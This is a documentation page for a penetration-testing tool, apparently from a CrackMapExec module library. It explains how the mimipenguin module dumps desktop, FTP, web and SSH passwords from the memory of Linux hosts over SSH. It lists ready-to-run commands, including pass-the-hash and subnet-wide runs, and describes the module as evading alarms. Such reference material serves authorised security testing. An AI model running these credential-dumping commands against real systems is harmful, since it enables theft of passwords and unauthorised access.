CrackMapExec Mimipenguin (ssh)
This page contains detailed information about how to use the mimipenguin CME module while using the ssh protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.
Description
This module executes the Mimipenguin script (either mimipenguin.py or mimipenguin.sh) in order to dump credentials from memory. It can extract the following passwords from Linux systems:
- GDM password (Kali Desktop, Debian Desktop)
- Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)
- LightDM (Ubuntu Desktop)
- VSFTPd (Active FTP Connections)
- Apache2 (Active HTTP Basic Auth Sessions)
- OpenSSH (Active SSH Sessions - Sudo Usage)
The mimipenguin module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.
Supported Protocols
- ssh
Module Source Code
Authors
Module Options
As you can see below, the mimipenguin module has one option:
# cme ssh -M mimipenguin --options
[*] mimipenguin module options:
SCRIPT Script version to execute (choices: bash, python) (default: bash)
Note that this option is not required. If you want to change the default value, you can do so by appending -o SCRIPT=VALUE parameter to the command line.
Module Usage
This is how to use the mimipenguin module while using the ssh protocol:
Syntax:
# cme ssh <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M mimipenguin
Root user:
# cme ssh 10.0.5.1 -u root -p P@ss123 -d . -M mimipenguin
# cme ssh 10.0.5.1 -u root -p P@ss123 --local-auth -M mimipenguin
Normal user:
# cme ssh 10.0.5.1 -u user1 -p P@ss123 -d target.corp -M mimipenguin
CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:
# cme ssh 10.0.5.1 -u root -H 432b022dc22aa5afe884e986b8383ff2 -d . -M mimipenguin
# cme ssh 10.0.5.1 -u user1 -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M mimipenguin
The mimipenguin module can be also used against multiple hosts. Here's how to run it against multiple hosts:# cme ssh target_list.txt -u root -p P@ss123 -d . -M mimipenguin
# cme ssh 10.0.5.0/24 -u root -p P@ss123 -d . -M mimipenguin
# cme ssh 10.0.5.1-100 -u root -p P@ss123 -d . -M mimipenguin
References
Version
This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.